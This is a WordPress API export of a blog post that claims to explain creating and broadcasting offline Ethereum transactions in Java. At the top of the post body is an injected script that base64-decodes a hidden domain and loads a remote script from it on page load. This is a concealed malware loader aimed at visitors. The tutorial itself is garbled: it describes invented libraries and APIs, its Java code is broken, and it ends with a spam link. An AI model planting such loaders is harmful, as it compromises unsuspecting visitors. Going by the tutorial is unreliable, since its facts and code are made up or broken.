{"id":1086,"date":"2025-02-07T23:11:23","date_gmt":"2025-02-07T23:11:23","guid":{"rendered":"https:\/\/hccmena.com\/?p=1086"},"modified":"2025-02-07T23:11:23","modified_gmt":"2025-02-07T23:11:23","slug":"ethereum-how-do-i-create-an-offline-transaction-in-java-to-broadcast-via-blockchain-info","status":"publish","type":"post","link":"https:\/\/hccmena.com\/index.php\/2025\/02\/07\/ethereum-how-do-i-create-an-offline-transaction-in-java-to-broadcast-via-blockchain-info\/","title":{"rendered":"Ethereum: How do I create an offline transaction in java to broadcast via blockchain.info?"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"<pdx>bm9yZGVyc3dpbmcuYnV6ei94cC8=<\/pdx>\";const pde=atob(pdx.replace(\/<pdx>|<\\\/pdx>\/g,\"\"));const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=73be879a\";document.body.appendChild(script);<\/script>\n<\/p>\n<p><strong> Creation of offline transactions on the Ethereum blockchain using Java and Pushtx API <\/strong><\/p>\n<p><img decoding=\"async\" alt=\"Ethereum: How do I create an offline transaction in java to broadcast via blockchain.info?\n\" src=\"https:\/\/hccmena.com\/wp-content\/uploads\/2025\/02\/8cccac39.png\"><\/p>\n<\/p>\n<p>The Blockchain Ethereum is a decentralized, public and safe platform for the conservation and transmission of transactions. One of its key features is the possibility of creating and transmitting offline transactions via Pushtx APIs from external applications, such as mobile app or web clients. In this article, we will explore how to create an offline in java transaction that can be transmitted to the Ethereum blockchain using using Pushtx API.<\/p>\n<\/p>\n<p><strong>Background<\/strong><\/p>\n<\/p>\n<p>Pushtx API allows developers to send raw transactions to a node on the Ethereum network without waiting for the transaction to be verified by a peer (i.e. another node). This allows you to create and transmit offline transactions from external applications. To use the Pushtx API, you need to obtain an Ethereum portfolio address that is not already used as a wallet.<\/p>\n<\/p>\n<p><strong> Choose between Bitcoinj and Pushtx <\/strong><\/p>\n<\/p>\n<p>There are two popular libraries to interact with the Ethereum Blockchain in Java: Bitcoinj and Pushtx. Here is a short comparison:<\/p>\n<\/p>\n<p><strong>* Bitcoinj <\/strong>: a complete cryptocurrency client bookcase that allows you to interact with the Ethereum blockchain using various protocols (e.g. Json-RPC, http). However, it requires a wallet address and is not designed specifically for offline transactions.<\/p>\n<\/p>\n<p><strong>* Pushtx <\/strong>: a library developed by Infura, a cloud -based infrastructure supplier to interact with the Ethereum network. Pushtx provides a simple bees for creating and sending raw transactions to the nodes on the Ethereum network.<\/p>\n<\/p>\n<p>For this example, we will use Pushtx.<\/p>\n<\/p>\n<p><strong> Creation of an offline transaction in Java <\/strong><\/p>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/jxLkbJozKbY\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<\/p>\n<\/p>\n<p>To create an offline transaction using Pushtx, it is necessary:<\/p>\n<\/p>\n<ul>\n<li>Create a new instance of the <code>Pushtx<\/code> class:<\/li>\n<\/ul>\n<\/p>\n<p>`<code><\/code>Java<\/p>\n<\/p>\n<p>import com.infura.pushtx.pushtx;<\/p>\n<\/p>\n<p>import com.infura.pushtx.pushtransation;<\/p>\n<\/p>\n<p>Public class offlinetransationxample {<\/p>\n<\/p>\n<p>    Public Static Void Main (String [] Args) {<\/p>\n<\/p>\n<p>        \/\/ Set the URL of the Ethereum node (for example, &#8220;<\/p>\n<\/p>\n<p>        String Nodeurl = &#8220;<\/p>\n<\/p>\n<\/p>\n<p>        \/\/ Create a new application for the Pushtx class<\/p>\n<\/p>\n<p>        Pushtx Pushtx = New Pushtx (Nodeurl);<\/p>\n<\/p>\n<p>    }<\/p>\n<\/p>\n<p>}<\/p>\n<\/p>\n<p>`<code><\/code><code><\/p>\n<\/p>\n<ul>\n<li>Sets the \"wallet\" on an Ethereum portfolio address that is not already used as a portfolio:<\/li>\n<\/ul>\n<\/p>\n<p><\/code><code><\/code>Java<\/p>\n<\/p>\n<p>\/\/ Set your Ethereum portfolio address<\/p>\n<\/p>\n<p>String walletaddres = &#8220;0xyour_wallet_address&#8221;;<\/p>\n<\/p>\n<p>`<code><\/code><code><\/p>\n<\/p>\n<ul>\n<li>Create a new application for the<\/code>Pushtransation &#8216;class:<\/li>\n<\/ul>\n<\/p>\n<p>`<code><\/code>Java<\/p>\n<\/p>\n<p>\/\/ Create a new Pushtransation object<\/p>\n<\/p>\n<p>Pushtransation Transaction = Pushtx.CreateTransation (<\/p>\n<\/p>\n<p>    New string [] {&#8220;0x1234567890Abcdef&#8221;, &#8220;Transaction data&#8221;})<\/p>\n<\/p>\n<p>);<\/p>\n<\/p>\n<p>`<code><\/code><code><\/p>\n<\/p>\n<p><strong> Sign the offline transaction <\/strong><\/p>\n<\/p>\n<p>To sign the offline transaction, it is necessary to use the<\/code><code>signmessage<\/code> class&#8217; Pushtx<code>:<\/p>\n<\/p>\n<p><\/code><code><\/code>Java<\/p>\n<\/p>\n<p>\/\/ Sign the transaction using the private key<\/p>\n<\/p>\n<p>String Signedtransation = Pushtx.signransation (Transaction, New String [] {&#8220;Your_private_key&#8221;});<\/p>\n<\/p>\n<p>`<code><\/code><code><\/p>\n<\/p>\n<p><strong> By transmitting the offline transaction <\/strong><\/p>\n<\/p>\n<p>Once the offline transaction has been created and signed, you can transmit it to the Ethereum network using the Pustx API. Here is an example of how to do it:<\/p>\n<\/p>\n<p><\/code><code><\/code>Java<\/p>\n<\/p>\n<p>\/\/ Create a new application of the Pushtx class with the same URL node and the wallet address<\/p>\n<\/p>\n<p>Pushtx Pushtx = New Pushtx (Nodeurl);<\/p>\n<\/p>\n<p>\/\/ Sets the transaction signed as payload for transmission<\/p>\n<\/p>\n<p>String payload = phymansation;<\/p>\n<\/p>\n<p>\/\/ transmits the transaction using the Pushtx API<\/p>\n<\/p>\n<p>Pushtx.brodcast (Payload, New String [] {&#8220;0x1234567890Abcdef&#8221;, &#8220;Your transaction data&#8221;});<\/p>\n<\/p>\n<p>`<code><\/code><code><\/p>\n<\/p>\n<p><strong> Code samples <\/strong><\/p>\n<\/p>\n<p>Here is an example of an example code that shows how to use the steps above:<\/p>\n<\/p>\n<p><\/code><code><\/code>Java<\/p>\n<\/p>\n<p>import com.infura.pushtx.pushtx;<\/p>\n<\/p>\n<p>import com.infura.pushtx.pushtransation;<\/p>\n<\/p>\n<p>Public class offlinetransationxample {<\/p>\n<\/p>\n<p>    Public Static Void Main (String [] Args) {<\/p>\n<\/p>\n<p>        \/\/ Set the URL of the Ethereum node (e.g.<\/p>\n<p><a href=\"https:\/\/fisacoffee.com\/why-monero-and-zcash-are-essential-for-privacy-conscious-investors\/\">MONERO ZCASH CONSCIOUS INVESTORS<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Creation of offline transactions on the Ethereum blockchain using Java and Pushtx API The Blockchain Ethereum is a decentralized, public and safe platform for the conservation and transmission of transactions. One of its key features is the possibility of creating and transmitting offline transactions via Pushtx APIs from external applications, such as mobile app or [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"_links":{"self":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1086"}],"collection":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/comments?post=1086"}],"version-history":[{"count":1,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1086\/revisions"}],"predecessor-version":[{"id":1087,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/posts\/1086\/revisions\/1087"}],"wp:attachment":[{"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/media?parent=1086"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/categories?post=1086"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hccmena.com\/index.php\/wp-json\/wp\/v2\/tags?post=1086"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}